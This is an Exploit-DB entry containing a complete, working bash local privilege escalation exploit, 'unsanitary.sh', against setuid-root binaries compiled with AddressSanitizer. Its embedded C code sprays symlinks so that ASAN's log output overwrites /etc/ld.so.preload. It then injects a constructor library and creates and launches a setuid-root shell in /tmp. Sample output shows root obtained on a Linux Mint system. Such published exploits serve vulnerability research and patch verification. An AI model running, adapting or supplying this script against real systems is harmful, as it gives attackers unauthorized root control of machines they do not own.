Exploit-DB #47174
Description: ASAN/SUID - Local Privilege Escalation
Type: local
Platform: multiple
Date: 2019-01-12
Author: bcoles

Exploit:
#!/bin/bash
# unsanitary.sh - ASAN/SUID Local Root Exploit
# Exploits er, unsanitized env var passing in ASAN
# which leads to file clobbering as root when executing
# setuid root binaries compiled with ASAN.
# Uses an overwrite of /etc/ld.so.preload to get root on
# a vulnerable system. Supply your own target binary to
# use for exploitation.
# Implements the bug found here: http://seclists.org/oss-sec/2016/q1/363
# Video of Exploitation: https://www.youtube.com/watch?v=jhSIm3auQMk
# Released under the Snitches Get Stitches Public Licence.
# Gr33tz to everyone in #lizardhq and elsewhere <3
# ~infodox (18/02/2016)
# FREE LAURI LOVE!
# ---
# Original exploit: https://gist.github.com/0x27/9ff2c8fb445b6ab9c94e
# Updated by <bcoles@gmail.com>
# - fixed some issues with reliability
# - replaced symlink spraying python code with C implementation
# https://github.com/bcoles/local-exploits/tree/master/asan-suid-root
# ---
# user@linux-mint-19-2:~/Desktop$ file /usr/bin/a.out 
# /usr/bin/a.out: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f9f85a5b58074eacd5b01eae970320ed22984932, stripped
#
# user@linux-mint-19-2:~/Desktop$ ldd /usr/bin/a.out | grep libasan
# 	libasan.so.4 => /usr/lib/x86_64-linux-gnu/libasan.so.4 (0x00007f028d427000)
#
# user@linux-mint-19-2:~/Desktop$ objdump -x /usr/bin/a.out | grep libasan
#   NEEDED               libasan.so.4
#
# user@linux-mint-19-2:~/Desktop$ ASAN_OPTIONS=help=1 /usr/bin/a.out 2>&1 | grep 'flags for AddressSanitizer'
# Available flags for AddressSanitizer:
#
# user@linux-mint-19-2:~/Desktop$ ./unsanitary.sh /usr/bin/a.out
# Unsanitary - ASAN/SUID Local Root Exploit ~infodox (2016)
# [+] /usr/bin/a.out was compiled with libasan
# [.] Compiling /tmp/.libhax.c ...
# [.] Compiling /tmp/.rootshell.c ...
# [.] Compiling /tmp/.spray.c ...
# [.] Spraying /home/user/Desktop with symlinks ...
# [.] Adding /tmp/.libhax.so to /etc/ld.so.preload ...
# ./unsanitary.sh: line 135: 30663 Aborted                 (core dumped) ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "${target}" > /dev/null 2>&1
# [.] Cleaning up...
# [+] Success:
# -rwsr-xr-x 1 root root 8384 Jan 12 14:21 /tmp/.rootshell
# [.] Launching root shell: /tmp/.rootshell
# root@linux-mint-19-2:~/Desktop# id
# uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),128(sambashare),1000(user)
# root@linux-mint-19-2:~/Desktop#
# ---

rootshell="/tmp/.rootshell"
lib="/tmp/.libhax"
spray="/tmp/.spray"

target="${1}"
log_prefix="$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 12 | head -n 1)___"
spray_size=100

command_exists() {
  command -v "${1}" >/dev/null 2>/dev/null
}

echo "Unsanitary - ASAN/SUID Local Root Exploit ~infodox (2016)"

if [[ $# -eq 0 ]] ; then
    echo "use: $0 /full/path/to/targetbin"
    echo "where targetbin is setuid root and compiled w/ ASAN"
    exit 0
fi

if ! command_exists gcc; then
  echo '[-] gcc is not installed'
  exit 1
fi

if ! test -w .; then
  echo '[-] working directory is not writable'
  exit 1
fi

if ! test -u "${target}"; then
  echo "[-] ${target} is not setuid"
  exit 1
fi

if [[ $(/usr/bin/ldd "${target}") =~ "libasan.so" ]]; then
  echo "[+] ${target} was compiled with libasan"
else
  echo "[!] Warning: ${target} appears to have been compiled without libasan"
fi

echo "[.] Compiling ${lib}.c ..."

cat << EOF > "${lib}.c"
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void init(void) __attribute__((constructor));

void __attribute__((constructor)) init() {
  if (setuid(0) || setgid(0))
    _exit(1);

  unlink("/etc/ld.so.preload");

  chown("${rootshell}", 0, 0);
  chmod("${rootshell}", 04755);
  _exit(0);
}
EOF

if ! gcc "${lib}.c" -fPIC -shared -ldl -o "${lib}.so"; then
  echo "[-] Compiling ${lib}.c failed"
  exit 1
fi
/bin/rm -f "${lib}.c"

echo "[.] Compiling ${rootshell}.c ..."

cat << EOF > "${rootshell}.c"
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
  setuid(0);
  setgid(0);
  execl("/bin/bash", "bash", NULL);
}
EOF

if ! gcc "${rootshell}.c" -o "${rootshell}"; then
  echo "[-] Compiling ${rootshell}.c failed"
  exit 1
fi
/bin/rm -f "${rootshell}.c"

echo "[.] Compiling ${spray}.c ..."

cat << EOF > "${spray}.c"
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
int main(void)
{
  pid_t pid = getpid();
  char buf[64];
  for (int i=0; i<=${spray_size}; i++) {
    snprintf(buf, sizeof(buf), "${log_prefix}.%ld", (long)pid+i);
    symlink("/etc/ld.so.preload", buf);
  }
}
EOF

if ! gcc "${spray}.c" -o "${spray}"; then
  echo "[-] Compiling ${spray}.c failed"
  exit 1
fi
/bin/rm -f "${spray}.c"

echo "[.] Spraying $(pwd) with symlinks ..."

/bin/rm $log_prefix* >/dev/null 2>&1
$spray

echo "[.] Adding ${lib}.so to /etc/ld.so.preload ..."

ASAN_OPTIONS="disable_coredump=1 suppressions='/${log_prefix}
${lib}.so
' log_path=./${log_prefix} verbosity=0" "${target}" >/dev/null 2>&1

ASAN_OPTIONS='disable_coredump=1 abort_on_error=1 verbosity=0' "${target}" >/dev/null 2>&1

echo '[.] Cleaning up...'
/bin/rm $log_prefix*
/bin/rm -f "${spray}"
/bin/rm -f "${lib}.so"

if ! test -u "${rootshell}"; then
  echo '[-] Failed'
  /bin/rm "${rootshell}"
  exit 1
fi

echo '[+] Success:'
/bin/ls -la "${rootshell}"

echo "[.] Launching root shell: ${rootshell}"
$rootshell